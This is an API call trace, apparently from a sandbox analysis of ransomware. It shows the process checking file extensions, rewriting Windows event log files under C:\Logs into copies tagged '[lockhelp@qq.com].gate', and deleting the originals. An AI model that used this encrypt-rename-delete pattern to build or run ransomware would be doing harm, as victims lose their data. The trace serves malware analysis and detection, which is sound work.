lpString2=".msu") returned 1 [0124.772] lstrlenW (lpString=".bz2") returned 4 [0124.772] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0124.772] lstrlenW (lpString=".7z") returned 3 [0124.772] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0124.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.772] lstrlenW (lpString=".dbf") returned 4 [0124.772] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0124.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.772] lstrlenW (lpString=".1cd") returned 4 [0124.772] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0124.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0124.772] lstrlenW (lpString=".jpg") returned 4 [0124.772] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0124.772] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0124.772] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47 [0124.772] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0124.773] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0124.773] CloseHandle (hObject=0x35c) returned 1 [0124.773] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0124.773] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0124.773] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0124.773] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0124.773] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0124.773] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0124.774] GetLastError () returned 0x0 [0124.774] ReadFile (in: hFile=0x35c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0124.891] WriteFile (in: hFile=0x2c0, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0124.893] ReadFile (in: hFile=0x35c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0124.893] WriteFile (in: hFile=0x2c0, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x132, lpOverlapped=0x0) returned 1 [0124.893] SetEndOfFile (hFile=0x2c0) returned 1 [0125.542] CloseHandle (hObject=0x2c0) returned 1 [0125.544] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.544] SetEndOfFile (hFile=0x35c) returned 1 [0125.545] CloseHandle (hObject=0x35c) returned 1 [0125.545] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0125.545] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0125.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.546] lstrlenW (lpString=".doc") returned 4 [0125.546] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.546] lstrlenW (lpString=".docx") returned 5 [0125.546] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.546] lstrlenW (lpString=".pdf") returned 4 [0125.546] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.546] lstrlenW (lpString=".xls") returned 4 [0125.546] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.546] lstrlenW (lpString=".xlsx") returned 5 [0125.546] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.546] lstrlenW (lpString=".ppt") returned 4 [0125.546] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.546] lstrlenW (lpString=".zip") returned 4 [0125.546] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.546] lstrlenW (lpString=".rar") returned 4 [0125.546] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.546] lstrlenW (lpString=".bz2") returned 4 [0125.546] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.546] lstrlenW (lpString=".7z") returned 3 [0125.546] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.547] lstrlenW (lpString=".dbf") returned 4 [0125.547] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0125.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.547] lstrlenW (lpString=".1cd") returned 4 [0125.547] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0125.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.547] lstrlenW (lpString=".jpg") returned 4 [0125.547] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0125.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.547] lstrlenW (lpString=".doc") returned 4 [0125.547] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.547] lstrlenW (lpString=".docx") returned 5 [0125.547] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.547] lstrlenW (lpString=".pdf") returned 4 [0125.547] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.547] lstrlenW (lpString=".xls") returned 4 [0125.547] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.547] lstrlenW (lpString=".xlsx") returned 5 [0125.547] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.547] lstrlenW (lpString=".ppt") returned 4 [0125.547] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.547] lstrlenW (lpString=".zip") returned 4 [0125.547] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.547] lstrlenW (lpString=".rar") returned 4 [0125.547] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.548] lstrlenW (lpString=".bz2") returned 4 [0125.548] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.548] lstrlenW (lpString=".7z") returned 3 [0125.548] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.548] lstrlenW (lpString=".dbf") returned 4 [0125.548] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0125.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.548] lstrlenW (lpString=".1cd") returned 4 [0125.548] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0125.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0125.548] lstrlenW (lpString=".jpg") returned 4 [0125.548] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0125.548] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0125.548] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45 [0125.548] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0125.549] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0125.549] CloseHandle (hObject=0x35c) returned 1 [0125.549] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0125.549] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.549] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0125.549] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.549] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.549] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0125.549] GetLastError () returned 0x0 [0125.549] ReadFile (in: hFile=0x35c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0125.636] WriteFile (in: hFile=0x2c0, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0125.638] ReadFile (in: hFile=0x35c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0125.638] WriteFile (in: hFile=0x2c0, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x12e, lpOverlapped=0x0) returned 1 [0125.638] SetEndOfFile (hFile=0x2c0) returned 1 [0125.701] CloseHandle (hObject=0x2c0) returned 1 [0125.718] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.718] SetEndOfFile (hFile=0x35c) returned 1 [0125.719] CloseHandle (hObject=0x35c) returned 1 [0125.719] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0125.720] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0125.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.720] lstrlenW (lpString=".doc") returned 4 [0125.720] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.720] lstrlenW (lpString=".docx") returned 5 [0125.720] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.720] lstrlenW (lpString=".pdf") returned 4 [0125.720] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.720] lstrlenW (lpString=".xls") returned 4 [0125.720] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.720] lstrlenW (lpString=".xlsx") returned 5 [0125.720] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.720] lstrlenW (lpString=".ppt") returned 4 [0125.720] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.720] lstrlenW (lpString=".zip") returned 4 [0125.720] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.720] lstrlenW (lpString=".rar") returned 4 [0125.721] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.721] lstrlenW (lpString=".bz2") returned 4 [0125.721] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.721] lstrlenW (lpString=".7z") returned 3 [0125.721] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.721] lstrlenW (lpString=".dbf") returned 4 [0125.721] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0125.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.721] lstrlenW (lpString=".1cd") returned 4 [0125.721] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0125.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.721] lstrlenW (lpString=".jpg") returned 4 [0125.721] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0125.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.721] lstrlenW (lpString=".doc") returned 4 [0125.721] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.721] lstrlenW (lpString=".docx") returned 5 [0125.721] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.721] lstrlenW (lpString=".pdf") returned 4 [0125.721] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.721] lstrlenW (lpString=".xls") returned 4 [0125.721] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.721] lstrlenW (lpString=".xlsx") returned 5 [0125.721] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.721] lstrlenW (lpString=".ppt") returned 4 [0125.722] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.722] lstrlenW (lpString=".zip") returned 4 [0125.722] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.722] lstrlenW (lpString=".rar") returned 4 [0125.722] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.722] lstrlenW (lpString=".bz2") returned 4 [0125.722] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.722] lstrlenW (lpString=".7z") returned 3 [0125.722] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.722] lstrlenW (lpString=".dbf") returned 4 [0125.722] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0125.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.722] lstrlenW (lpString=".1cd") returned 4 [0125.722] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0125.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0125.722] lstrlenW (lpString=".jpg") returned 4 [0125.722] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0125.722] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0125.722] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57 [0125.722] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0125.723] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0125.723] CloseHandle (hObject=0x35c) returned 1 [0125.726] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0125.726] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.726] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0125.726] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.726] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.726] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0125.726] GetLastError () returned 0x0 [0125.727] ReadFile (in: hFile=0x35c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0125.861] WriteFile (in: hFile=0x2c0, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0125.863] ReadFile (in: hFile=0x35c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0125.863] WriteFile (in: hFile=0x2c0, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x146, lpOverlapped=0x0) returned 1 [0125.864] SetEndOfFile (hFile=0x2c0) returned 1 [0125.864] CloseHandle (hObject=0x2c0) returned 1 [0125.866] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.866] SetEndOfFile (hFile=0x35c) returned 1 [0125.868] CloseHandle (hObject=0x35c) returned 1 [0125.868] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0125.868] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0125.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.868] lstrlenW (lpString=".doc") returned 4 [0125.869] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.869] lstrlenW (lpString=".docx") returned 5 [0125.869] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.869] lstrlenW (lpString=".pdf") returned 4 [0125.869] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.869] lstrlenW (lpString=".xls") returned 4 [0125.869] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.869] lstrlenW (lpString=".xlsx") returned 5 [0125.869] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.869] lstrlenW (lpString=".ppt") returned 4 [0125.869] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.869] lstrlenW (lpString=".zip") returned 4 [0125.869] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.869] lstrlenW (lpString=".rar") returned 4 [0125.869] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.869] lstrlenW (lpString=".bz2") returned 4 [0125.869] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.869] lstrlenW (lpString=".7z") returned 3 [0125.869] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.869] lstrlenW (lpString=".dbf") returned 4 [0125.869] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0125.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.869] lstrlenW (lpString=".1cd") returned 4 [0125.869] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0125.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.869] lstrlenW (lpString=".jpg") returned 4 [0125.870] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0125.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.870] lstrlenW (lpString=".doc") returned 4 [0125.870] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.870] lstrlenW (lpString=".docx") returned 5 [0125.870] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.870] lstrlenW (lpString=".pdf") returned 4 [0125.870] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.870] lstrlenW (lpString=".xls") returned 4 [0125.870] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.870] lstrlenW (lpString=".xlsx") returned 5 [0125.870] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.870] lstrlenW (lpString=".ppt") returned 4 [0125.870] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.870] lstrlenW (lpString=".zip") returned 4 [0125.870] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.870] lstrlenW (lpString=".rar") returned 4 [0125.870] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.870] lstrlenW (lpString=".bz2") returned 4 [0125.870] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.870] lstrlenW (lpString=".7z") returned 3 [0125.870] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.870] lstrlenW (lpString=".dbf") returned 4 [0125.871] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0125.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.871] lstrlenW (lpString=".1cd") returned 4 [0125.871] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0125.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0125.871] lstrlenW (lpString=".jpg") returned 4 [0125.871] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0125.871] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0125.871] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56 [0125.871] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0125.871] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0125.871] CloseHandle (hObject=0x35c) returned 1 [0125.871] GetFileAttributesW 